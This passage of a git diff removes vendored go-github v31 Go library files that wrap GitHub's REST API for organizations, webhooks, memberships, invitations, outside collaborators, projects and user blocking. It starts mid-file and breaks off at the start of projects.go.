{ - return "", nil, err - } - - buf := new(bytes.Buffer) - resp, err := c.Do(ctx, req, buf) - if err != nil { - return "", resp, err - } - - return buf.String(), resp, nil -} - -// Zen returns a random line from The Zen of GitHub. -// -// see also: http://warpspire.com/posts/taste/ -func (c *Client) Zen(ctx context.Context) (string, *Response, error) { - req, err := c.NewRequest("GET", "zen", nil) - if err != nil { - return "", nil, err - } - - buf := new(bytes.Buffer) - resp, err := c.Do(ctx, req, buf) - if err != nil { - return "", resp, err - } - - return buf.String(), resp, nil -} - -// ServiceHook represents a hook that has configuration settings, a list of -// available events, and default events. -type ServiceHook struct { - Name *string `json:"name,omitempty"` - Events []string `json:"events,omitempty"` - SupportedEvents []string `json:"supported_events,omitempty"` - Schema [][]string `json:"schema,omitempty"` -} - -func (s *ServiceHook) String() string { - return Stringify(s) -} - -// ListServiceHooks lists all of the available service hooks. -// -// GitHub API docs: https://developer.github.com/webhooks/#services -func (c *Client) ListServiceHooks(ctx context.Context) ([]*ServiceHook, *Response, error) { - u := "hooks" - req, err := c.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var hooks []*ServiceHook - resp, err := c.Do(ctx, req, &hooks) - if err != nil { - return nil, resp, err - } - - return hooks, resp, nil -} diff --git a/vendor/github.com/google/go-github/v31/github/orgs.go b/vendor/github.com/google/go-github/v31/github/orgs.go deleted file mode 100644 index 564231bc41..0000000000 --- a/vendor/github.com/google/go-github/v31/github/orgs.go +++ /dev/null @@ -1,264 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "time" -) - -// OrganizationsService provides access to the organization related functions -// in the GitHub API. -// -// GitHub API docs: https://developer.github.com/v3/orgs/ -type OrganizationsService service - -// Organization represents a GitHub organization account. -type Organization struct { - Login *string `json:"login,omitempty"` - ID *int64 `json:"id,omitempty"` - NodeID *string `json:"node_id,omitempty"` - AvatarURL *string `json:"avatar_url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - Name *string `json:"name,omitempty"` - Company *string `json:"company,omitempty"` - Blog *string `json:"blog,omitempty"` - Location *string `json:"location,omitempty"` - Email *string `json:"email,omitempty"` - Description *string `json:"description,omitempty"` - PublicRepos *int `json:"public_repos,omitempty"` - PublicGists *int `json:"public_gists,omitempty"` - Followers *int `json:"followers,omitempty"` - Following *int `json:"following,omitempty"` - CreatedAt *time.Time `json:"created_at,omitempty"` - UpdatedAt *time.Time `json:"updated_at,omitempty"` - TotalPrivateRepos *int `json:"total_private_repos,omitempty"` - OwnedPrivateRepos *int `json:"owned_private_repos,omitempty"` - PrivateGists *int `json:"private_gists,omitempty"` - DiskUsage *int `json:"disk_usage,omitempty"` - Collaborators *int `json:"collaborators,omitempty"` - BillingEmail *string `json:"billing_email,omitempty"` - Type *string `json:"type,omitempty"` - Plan *Plan `json:"plan,omitempty"` - TwoFactorRequirementEnabled *bool `json:"two_factor_requirement_enabled,omitempty"` - - // DefaultRepoPermission can be one of: "read", "write", "admin", or "none". (Default: "read"). - // It is only used in OrganizationsService.Edit. - DefaultRepoPermission *string `json:"default_repository_permission,omitempty"` - // DefaultRepoSettings can be one of: "read", "write", "admin", or "none". (Default: "read"). - // It is only used in OrganizationsService.Get. - DefaultRepoSettings *string `json:"default_repository_settings,omitempty"` - - // MembersCanCreateRepos default value is true and is only used in Organizations.Edit. - MembersCanCreateRepos *bool `json:"members_can_create_repositories,omitempty"` - - // https://developer.github.com/changes/2019-12-03-internal-visibility-changes/#rest-v3-api - MembersCanCreatePublicRepos *bool `json:"members_can_create_public_repositories,omitempty"` - MembersCanCreatePrivateRepos *bool `json:"members_can_create_private_repositories,omitempty"` - MembersCanCreateInternalRepos *bool `json:"members_can_create_internal_repositories,omitempty"` - - // MembersAllowedRepositoryCreationType denotes if organization members can create repositories - // and the type of repositories they can create. Possible values are: "all", "private", or "none". - // - // Deprecated: Use MembersCanCreatePublicRepos, MembersCanCreatePrivateRepos, MembersCanCreateInternalRepos - // instead. The new fields overrides the existing MembersAllowedRepositoryCreationType during 'edit' - // operation and does not consider 'internal' repositories during 'get' operation - MembersAllowedRepositoryCreationType *string `json:"members_allowed_repository_creation_type,omitempty"` - - // API URLs - URL *string `json:"url,omitempty"` - EventsURL *string `json:"events_url,omitempty"` - HooksURL *string `json:"hooks_url,omitempty"` - IssuesURL *string `json:"issues_url,omitempty"` - MembersURL *string `json:"members_url,omitempty"` - PublicMembersURL *string `json:"public_members_url,omitempty"` - ReposURL *string `json:"repos_url,omitempty"` -} - -// OrganizationInstallations represents GitHub app installations for an organization. -type OrganizationInstallations struct { - TotalCount *int `json:"total_count,omitempty"` - Installations []*Installation `json:"installations,omitempty"` -} - -func (o Organization) String() string { - return Stringify(o) -} - -// Plan represents the payment plan for an account. See plans at https://github.com/plans. -type Plan struct { - Name *string `json:"name,omitempty"` - Space *int `json:"space,omitempty"` - Collaborators *int `json:"collaborators,omitempty"` - PrivateRepos *int `json:"private_repos,omitempty"` - FilledSeats *int `json:"filled_seats,omitempty"` - Seats *int `json:"seats,omitempty"` -} - -func (p Plan) String() string { - return Stringify(p) -} - -// OrganizationsListOptions specifies the optional parameters to the -// OrganizationsService.ListAll method. -type OrganizationsListOptions struct { - // Since filters Organizations by ID. - Since int64 `url:"since,omitempty"` - - // Note: Pagination is powered exclusively by the Since parameter, - // ListOptions.Page has no effect. - // ListOptions.PerPage controls an undocumented GitHub API parameter. - ListOptions -} - -// ListAll lists all organizations, in the order that they were created on GitHub. -// -// Note: Pagination is powered exclusively by the since parameter. To continue -// listing the next set of organizations, use the ID of the last-returned organization -// as the opts.Since parameter for the next call. -// -// GitHub API docs: https://developer.github.com/v3/orgs/#list-all-organizations -func (s *OrganizationsService) ListAll(ctx context.Context, opts *OrganizationsListOptions) ([]*Organization, *Response, error) { - u, err := addOptions("organizations", opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - orgs := []*Organization{} - resp, err := s.client.Do(ctx, req, &orgs) - if err != nil { - return nil, resp, err - } - return orgs, resp, nil -} - -// List the organizations for a user. Passing the empty string will list -// organizations for the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/orgs/#list-user-organizations -// GitHub API docs: https://developer.github.com/v3/orgs/#oauth-scope-requirements -func (s *OrganizationsService) List(ctx context.Context, user string, opts *ListOptions) ([]*Organization, *Response, error) { - var u string - if user != "" { - u = fmt.Sprintf("users/%v/orgs", user) - } else { - u = "user/orgs" - } - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var orgs []*Organization - resp, err := s.client.Do(ctx, req, &orgs) - if err != nil { - return nil, resp, err - } - - return orgs, resp, nil -} - -// Get fetches an organization by name. -// -// GitHub API docs: https://developer.github.com/v3/orgs/#get-an-organization -func (s *OrganizationsService) Get(ctx context.Context, org string) (*Organization, *Response, error) { - u := fmt.Sprintf("orgs/%v", org) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeMemberAllowedRepoCreationTypePreview) - - organization := new(Organization) - resp, err := s.client.Do(ctx, req, organization) - if err != nil { - return nil, resp, err - } - - return organization, resp, nil -} - -// GetByID fetches an organization. -// -// Note: GetByID uses the undocumented GitHub API endpoint /organizations/:id. -func (s *OrganizationsService) GetByID(ctx context.Context, id int64) (*Organization, *Response, error) { - u := fmt.Sprintf("organizations/%d", id) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - organization := new(Organization) - resp, err := s.client.Do(ctx, req, organization) - if err != nil { - return nil, resp, err - } - - return organization, resp, nil -} - -// Edit an organization. -// -// GitHub API docs: https://developer.github.com/v3/orgs/#members_can_create_repositories -func (s *OrganizationsService) Edit(ctx context.Context, name string, org *Organization) (*Organization, *Response, error) { - u := fmt.Sprintf("orgs/%v", name) - req, err := s.client.NewRequest("PATCH", u, org) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeMemberAllowedRepoCreationTypePreview) - - o := new(Organization) - resp, err := s.client.Do(ctx, req, o) - if err != nil { - return nil, resp, err - } - - return o, resp, nil -} - -// ListInstallations lists installations for an organization. -// -// GitHub API docs: https://developer.github.com/v3/orgs/#list-installations-for-an-organization -func (s *OrganizationsService) ListInstallations(ctx context.Context, org string, opts *ListOptions) (*OrganizationInstallations, *Response, error) { - u := fmt.Sprintf("orgs/%v/installations", org) - - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeIntegrationPreview) - - result := new(OrganizationInstallations) - resp, err := s.client.Do(ctx, req, result) - if err != nil { - return nil, resp, err - } - - return result, resp, nil -} diff --git a/vendor/github.com/google/go-github/v31/github/orgs_hooks.go b/vendor/github.com/google/go-github/v31/github/orgs_hooks.go deleted file mode 100644 index 0913fb83da..0000000000 --- a/vendor/github.com/google/go-github/v31/github/orgs_hooks.go +++ /dev/null @@ -1,118 +0,0 @@ -// Copyright 2015 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// ListHooks lists all Hooks for the specified organization. -// -// GitHub API docs: https://developer.github.com/v3/orgs/hooks/#list-hooks -func (s *OrganizationsService) ListHooks(ctx context.Context, org string, opts *ListOptions) ([]*Hook, *Response, error) { - u := fmt.Sprintf("orgs/%v/hooks", org) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var hooks []*Hook - resp, err := s.client.Do(ctx, req, &hooks) - if err != nil { - return nil, resp, err - } - - return hooks, resp, nil -} - -// GetHook returns a single specified Hook. -// -// GitHub API docs: https://developer.github.com/v3/orgs/hooks/#get-single-hook -func (s *OrganizationsService) GetHook(ctx context.Context, org string, id int64) (*Hook, *Response, error) { - u := fmt.Sprintf("orgs/%v/hooks/%d", org, id) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - hook := new(Hook) - resp, err := s.client.Do(ctx, req, hook) - return hook, resp, err -} - -// CreateHook creates a Hook for the specified org. -// Config is a required field. -// -// Note that only a subset of the hook fields are used and hook must -// not be nil. -// -// GitHub API docs: https://developer.github.com/v3/orgs/hooks/#create-a-hook -func (s *OrganizationsService) CreateHook(ctx context.Context, org string, hook *Hook) (*Hook, *Response, error) { - u := fmt.Sprintf("orgs/%v/hooks", org) - - hookReq := &createHookRequest{ - Name: "web", - Events: hook.Events, - Active: hook.Active, - Config: hook.Config, - } - - req, err := s.client.NewRequest("POST", u, hookReq) - if err != nil { - return nil, nil, err - } - - h := new(Hook) - resp, err := s.client.Do(ctx, req, h) - if err != nil { - return nil, resp, err - } - - return h, resp, nil -} - -// EditHook updates a specified Hook. -// -// GitHub API docs: https://developer.github.com/v3/orgs/hooks/#edit-a-hook -func (s *OrganizationsService) EditHook(ctx context.Context, org string, id int64, hook *Hook) (*Hook, *Response, error) { - u := fmt.Sprintf("orgs/%v/hooks/%d", org, id) - req, err := s.client.NewRequest("PATCH", u, hook) - if err != nil { - return nil, nil, err - } - h := new(Hook) - resp, err := s.client.Do(ctx, req, h) - return h, resp, err -} - -// PingHook triggers a 'ping' event to be sent to the Hook. -// -// GitHub API docs: https://developer.github.com/v3/orgs/hooks/#ping-a-hook -func (s *OrganizationsService) PingHook(ctx context.Context, org string, id int64) (*Response, error) { - u := fmt.Sprintf("orgs/%v/hooks/%d/pings", org, id) - req, err := s.client.NewRequest("POST", u, nil) - if err != nil { - return nil, err - } - return s.client.Do(ctx, req, nil) -} - -// DeleteHook deletes a specified Hook. -// -// GitHub API docs: https://developer.github.com/v3/orgs/hooks/#delete-a-hook -func (s *OrganizationsService) DeleteHook(ctx context.Context, org string, id int64) (*Response, error) { - u := fmt.Sprintf("orgs/%v/hooks/%d", org, id) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/orgs_members.go b/vendor/github.com/google/go-github/v31/github/orgs_members.go deleted file mode 100644 index 0dfa92070d..0000000000 --- a/vendor/github.com/google/go-github/v31/github/orgs_members.go +++ /dev/null @@ -1,364 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// Membership represents the status of a user's membership in an organization or team. -type Membership struct { - URL *string `json:"url,omitempty"` - - // State is the user's status within the organization or team. - // Possible values are: "active", "pending" - State *string `json:"state,omitempty"` - - // Role identifies the user's role within the organization or team. - // Possible values for organization membership: - // member - non-owner organization member - // admin - organization owner - // - // Possible values for team membership are: - // member - a normal member of the team - // maintainer - a team maintainer. Able to add/remove other team - // members, promote other team members to team - // maintainer, and edit the team’s name and description - Role *string `json:"role,omitempty"` - - // For organization membership, the API URL of the organization. - OrganizationURL *string `json:"organization_url,omitempty"` - - // For organization membership, the organization the membership is for. - Organization *Organization `json:"organization,omitempty"` - - // For organization membership, the user the membership is for. - User *User `json:"user,omitempty"` -} - -func (m Membership) String() string { - return Stringify(m) -} - -// ListMembersOptions specifies optional parameters to the -// OrganizationsService.ListMembers method. -type ListMembersOptions struct { - // If true (or if the authenticated user is not an owner of the - // organization), list only publicly visible members. - PublicOnly bool `url:"-"` - - // Filter members returned in the list. Possible values are: - // 2fa_disabled, all. Default is "all". - Filter string `url:"filter,omitempty"` - - // Role filters members returned by their role in the organization. - // Possible values are: - // all - all members of the organization, regardless of role - // admin - organization owners - // member - non-owner organization members - // - // Default is "all". - Role string `url:"role,omitempty"` - - ListOptions -} - -// ListMembers lists the members for an organization. If the authenticated -// user is an owner of the organization, this will return both concealed and -// public members, otherwise it will only return public members. -// -// GitHub API docs: https://developer.github.com/v3/orgs/members/#members-list -// GitHub API docs: https://developer.github.com/v3/orgs/members/#public-members-list -func (s *OrganizationsService) ListMembers(ctx context.Context, org string, opts *ListMembersOptions) ([]*User, *Response, error) { - var u string - if opts != nil && opts.PublicOnly { - u = fmt.Sprintf("orgs/%v/public_members", org) - } else { - u = fmt.Sprintf("orgs/%v/members", org) - } - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var members []*User - resp, err := s.client.Do(ctx, req, &members) - if err != nil { - return nil, resp, err - } - - return members, resp, nil -} - -// IsMember checks if a user is a member of an organization. -// -// GitHub API docs: https://developer.github.com/v3/orgs/members/#check-membership -func (s *OrganizationsService) IsMember(ctx context.Context, org, user string) (bool, *Response, error) { - u := fmt.Sprintf("orgs/%v/members/%v", org, user) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return false, nil, err - } - - resp, err := s.client.Do(ctx, req, nil) - member, err := parseBoolResponse(err) - return member, resp, err -} - -// IsPublicMember checks if a user is a public member of an organization. -// -// GitHub API docs: https://developer.github.com/v3/orgs/members/#check-public-membership -func (s *OrganizationsService) IsPublicMember(ctx context.Context, org, user string) (bool, *Response, error) { - u := fmt.Sprintf("orgs/%v/public_members/%v", org, user) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return false, nil, err - } - - resp, err := s.client.Do(ctx, req, nil) - member, err := parseBoolResponse(err) - return member, resp, err -} - -// RemoveMember removes a user from all teams of an organization. -// -// GitHub API docs: https://developer.github.com/v3/orgs/members/#remove-a-member -func (s *OrganizationsService) RemoveMember(ctx context.Context, org, user string) (*Response, error) { - u := fmt.Sprintf("orgs/%v/members/%v", org, user) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// PublicizeMembership publicizes a user's membership in an organization. (A -// user cannot publicize the membership for another user.) -// -// GitHub API docs: https://developer.github.com/v3/orgs/members/#publicize-a-users-membership -func (s *OrganizationsService) PublicizeMembership(ctx context.Context, org, user string) (*Response, error) { - u := fmt.Sprintf("orgs/%v/public_members/%v", org, user) - req, err := s.client.NewRequest("PUT", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// ConcealMembership conceals a user's membership in an organization. -// -// GitHub API docs: https://developer.github.com/v3/orgs/members/#conceal-a-users-membership -func (s *OrganizationsService) ConcealMembership(ctx context.Context, org, user string) (*Response, error) { - u := fmt.Sprintf("orgs/%v/public_members/%v", org, user) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// ListOrgMembershipsOptions specifies optional parameters to the -// OrganizationsService.ListOrgMemberships method. -type ListOrgMembershipsOptions struct { - // Filter memberships to include only those with the specified state. - // Possible values are: "active", "pending". - State string `url:"state,omitempty"` - - ListOptions -} - -// ListOrgMemberships lists the organization memberships for the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/orgs/members/#list-your-organization-memberships -func (s *OrganizationsService) ListOrgMemberships(ctx context.Context, opts *ListOrgMembershipsOptions) ([]*Membership, *Response, error) { - u := "user/memberships/orgs" - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var memberships []*Membership - resp, err := s.client.Do(ctx, req, &memberships) - if err != nil { - return nil, resp, err - } - - return memberships, resp, nil -} - -// GetOrgMembership gets the membership for a user in a specified organization. -// Passing an empty string for user will get the membership for the -// authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/orgs/members/#get-organization-membership -// GitHub API docs: https://developer.github.com/v3/orgs/members/#get-your-organization-membership -func (s *OrganizationsService) GetOrgMembership(ctx context.Context, user, org string) (*Membership, *Response, error) { - var u string - if user != "" { - u = fmt.Sprintf("orgs/%v/memberships/%v", org, user) - } else { - u = fmt.Sprintf("user/memberships/orgs/%v", org) - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - membership := new(Membership) - resp, err := s.client.Do(ctx, req, membership) - if err != nil { - return nil, resp, err - } - - return membership, resp, nil -} - -// EditOrgMembership edits the membership for user in specified organization. -// Passing an empty string for user will edit the membership for the -// authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/orgs/members/#add-or-update-organization-membership -// GitHub API docs: https://developer.github.com/v3/orgs/members/#edit-your-organization-membership -func (s *OrganizationsService) EditOrgMembership(ctx context.Context, user, org string, membership *Membership) (*Membership, *Response, error) { - var u, method string - if user != "" { - u = fmt.Sprintf("orgs/%v/memberships/%v", org, user) - method = "PUT" - } else { - u = fmt.Sprintf("user/memberships/orgs/%v", org) - method = "PATCH" - } - - req, err := s.client.NewRequest(method, u, membership) - if err != nil { - return nil, nil, err - } - - m := new(Membership) - resp, err := s.client.Do(ctx, req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// RemoveOrgMembership removes user from the specified organization. If the -// user has been invited to the organization, this will cancel their invitation. -// -// GitHub API docs: https://developer.github.com/v3/orgs/members/#remove-organization-membership -func (s *OrganizationsService) RemoveOrgMembership(ctx context.Context, user, org string) (*Response, error) { - u := fmt.Sprintf("orgs/%v/memberships/%v", org, user) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// ListPendingOrgInvitations returns a list of pending invitations. -// -// GitHub API docs: https://developer.github.com/v3/orgs/members/#list-pending-organization-invitations -func (s *OrganizationsService) ListPendingOrgInvitations(ctx context.Context, org string, opts *ListOptions) ([]*Invitation, *Response, error) { - u := fmt.Sprintf("orgs/%v/invitations", org) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var pendingInvitations []*Invitation - resp, err := s.client.Do(ctx, req, &pendingInvitations) - if err != nil { - return nil, resp, err - } - return pendingInvitations, resp, nil -} - -// CreateOrgInvitationOptions specifies the parameters to the OrganizationService.Invite -// method. -type CreateOrgInvitationOptions struct { - // GitHub user ID for the person you are inviting. Not required if you provide Email. - InviteeID *int64 `json:"invitee_id,omitempty"` - // Email address of the person you are inviting, which can be an existing GitHub user. - // Not required if you provide InviteeID - Email *string `json:"email,omitempty"` - // Specify role for new member. Can be one of: - // * admin - Organization owners with full administrative rights to the - // organization and complete access to all repositories and teams. - // * direct_member - Non-owner organization members with ability to see - // other members and join teams by invitation. - // * billing_manager - Non-owner organization members with ability to - // manage the billing settings of your organization. - // Default is "direct_member". - Role *string `json:"role"` - TeamID []int64 `json:"team_ids"` -} - -// CreateOrgInvitation invites people to an organization by using their GitHub user ID or their email address. -// In order to create invitations in an organization, -// the authenticated user must be an organization owner. -// -// GitHub API docs: https://developer.github.com/v3/orgs/members/#create-organization-invitation -func (s *OrganizationsService) CreateOrgInvitation(ctx context.Context, org string, opts *CreateOrgInvitationOptions) (*Invitation, *Response, error) { - u := fmt.Sprintf("orgs/%v/invitations", org) - - req, err := s.client.NewRequest("POST", u, opts) - if err != nil { - return nil, nil, err - } - - var invitation *Invitation - resp, err := s.client.Do(ctx, req, &invitation) - if err != nil { - return nil, resp, err - } - return invitation, resp, nil -} - -// ListOrgInvitationTeams lists all teams associated with an invitation. In order to see invitations in an organization, -// the authenticated user must be an organization owner. -// -// GitHub API docs: https://developer.github.com/v3/orgs/members/#list-organization-invitation-teams -func (s *OrganizationsService) ListOrgInvitationTeams(ctx context.Context, org, invitationID string, opts *ListOptions) ([]*Team, *Response, error) { - u := fmt.Sprintf("orgs/%v/invitations/%v/teams", org, invitationID) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var orgInvitationTeams []*Team - resp, err := s.client.Do(ctx, req, &orgInvitationTeams) - if err != nil { - return nil, resp, err - } - return orgInvitationTeams, resp, nil -} diff --git a/vendor/github.com/google/go-github/v31/github/orgs_outside_collaborators.go b/vendor/github.com/google/go-github/v31/github/orgs_outside_collaborators.go deleted file mode 100644 index dde8e0b03a..0000000000 --- a/vendor/github.com/google/go-github/v31/github/orgs_outside_collaborators.go +++ /dev/null @@ -1,81 +0,0 @@ -// Copyright 2017 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// ListOutsideCollaboratorsOptions specifies optional parameters to the -// OrganizationsService.ListOutsideCollaborators method. -type ListOutsideCollaboratorsOptions struct { - // Filter outside collaborators returned in the list. Possible values are: - // 2fa_disabled, all. Default is "all". - Filter string `url:"filter,omitempty"` - - ListOptions -} - -// ListOutsideCollaborators lists outside collaborators of organization's repositories. -// This will only work if the authenticated -// user is an owner of the organization. -// -// Warning: The API may change without advance notice during the preview period. -// Preview features are not supported for production use. -// -// GitHub API docs: https://developer.github.com/v3/orgs/outside_collaborators/#list-outside-collaborators -func (s *OrganizationsService) ListOutsideCollaborators(ctx context.Context, org string, opts *ListOutsideCollaboratorsOptions) ([]*User, *Response, error) { - u := fmt.Sprintf("orgs/%v/outside_collaborators", org) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var members []*User - resp, err := s.client.Do(ctx, req, &members) - if err != nil { - return nil, resp, err - } - - return members, resp, nil -} - -// RemoveOutsideCollaborator removes a user from the list of outside collaborators; -// consequently, removing them from all the organization's repositories. -// -// GitHub API docs: https://developer.github.com/v3/orgs/outside_collaborators/#remove-outside-collaborator -func (s *OrganizationsService) RemoveOutsideCollaborator(ctx context.Context, org string, user string) (*Response, error) { - u := fmt.Sprintf("orgs/%v/outside_collaborators/%v", org, user) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// ConvertMemberToOutsideCollaborator reduces the permission level of a member of the -// organization to that of an outside collaborator. Therefore, they will only -// have access to the repositories that their current team membership allows. -// Responses for converting a non-member or the last owner to an outside collaborator -// are listed in GitHub API docs. -// -// GitHub API docs: https://developer.github.com/v3/orgs/outside_collaborators/#convert-member-to-outside-collaborator -func (s *OrganizationsService) ConvertMemberToOutsideCollaborator(ctx context.Context, org string, user string) (*Response, error) { - u := fmt.Sprintf("orgs/%v/outside_collaborators/%v", org, user) - req, err := s.client.NewRequest("PUT", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/orgs_projects.go b/vendor/github.com/google/go-github/v31/github/orgs_projects.go deleted file mode 100644 index cc3ed3b1bb..0000000000 --- a/vendor/github.com/google/go-github/v31/github/orgs_projects.go +++ /dev/null @@ -1,60 +0,0 @@ -// Copyright 2017 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// ListProjects lists the projects for an organization. -// -// GitHub API docs: https://developer.github.com/v3/projects/#list-organization-projects -func (s *OrganizationsService) ListProjects(ctx context.Context, org string, opts *ProjectListOptions) ([]*Project, *Response, error) { - u := fmt.Sprintf("orgs/%v/projects", org) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - var projects []*Project - resp, err := s.client.Do(ctx, req, &projects) - if err != nil { - return nil, resp, err - } - - return projects, resp, nil -} - -// CreateProject creates a GitHub Project for the specified organization. -// -// GitHub API docs: https://developer.github.com/v3/projects/#create-an-organization-project -func (s *OrganizationsService) CreateProject(ctx context.Context, org string, opts *ProjectOptions) (*Project, *Response, error) { - u := fmt.Sprintf("orgs/%v/projects", org) - req, err := s.client.NewRequest("POST", u, opts) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - project := &Project{} - resp, err := s.client.Do(ctx, req, project) - if err != nil { - return nil, resp, err - } - - return project, resp, nil -} diff --git a/vendor/github.com/google/go-github/v31/github/orgs_users_blocking.go b/vendor/github.com/google/go-github/v31/github/orgs_users_blocking.go deleted file mode 100644 index bf48716d73..0000000000 --- a/vendor/github.com/google/go-github/v31/github/orgs_users_blocking.go +++ /dev/null @@ -1,91 +0,0 @@ -// Copyright 2017 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// ListBlockedUsers lists all the users blocked by an organization. -// -// GitHub API docs: https://developer.github.com/v3/orgs/blocking/#list-blocked-users -func (s *OrganizationsService) ListBlockedUsers(ctx context.Context, org string, opts *ListOptions) ([]*User, *Response, error) { - u := fmt.Sprintf("orgs/%v/blocks", org) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeBlockUsersPreview) - - var blockedUsers []*User - resp, err := s.client.Do(ctx, req, &blockedUsers) - if err != nil { - return nil, resp, err - } - - return blockedUsers, resp, nil -} - -// IsBlocked reports whether specified user is blocked from an organization. -// -// GitHub API docs: https://developer.github.com/v3/orgs/blocking/#check-whether-a-user-is-blocked-from-an-organization -func (s *OrganizationsService) IsBlocked(ctx context.Context, org string, user string) (bool, *Response, error) { - u := fmt.Sprintf("orgs/%v/blocks/%v", org, user) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return false, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeBlockUsersPreview) - - resp, err := s.client.Do(ctx, req, nil) - isBlocked, err := parseBoolResponse(err) - return isBlocked, resp, err -} - -// BlockUser blocks specified user from an organization. -// -// GitHub API docs: https://developer.github.com/v3/orgs/blocking/#block-a-user -func (s *OrganizationsService) BlockUser(ctx context.Context, org string, user string) (*Response, error) { - u := fmt.Sprintf("orgs/%v/blocks/%v", org, user) - - req, err := s.client.NewRequest("PUT", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeBlockUsersPreview) - - return s.client.Do(ctx, req, nil) -} - -// UnblockUser unblocks specified user from an organization. -// -// GitHub API docs: https://developer.github.com/v3/orgs/blocking/#unblock-a-user -func (s *OrganizationsService) UnblockUser(ctx context.Context, org string, user string) (*Response, error) { - u := fmt.Sprintf("orgs/%v/blocks/%v", org, user) - - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeBlockUsersPreview) - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/projects.go b/vendor/github.com/google/go-github/v31/github/projects.go deleted file mode 100644 index e11d74a559..0000000000 --- a/vendor/github.com/google/go-github/v31/github/projects.go +++ /dev/null @@ -1,594 +0,0 @@ -// Copyright 2016 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// ProjectsService provides access to the projects functions in the -// 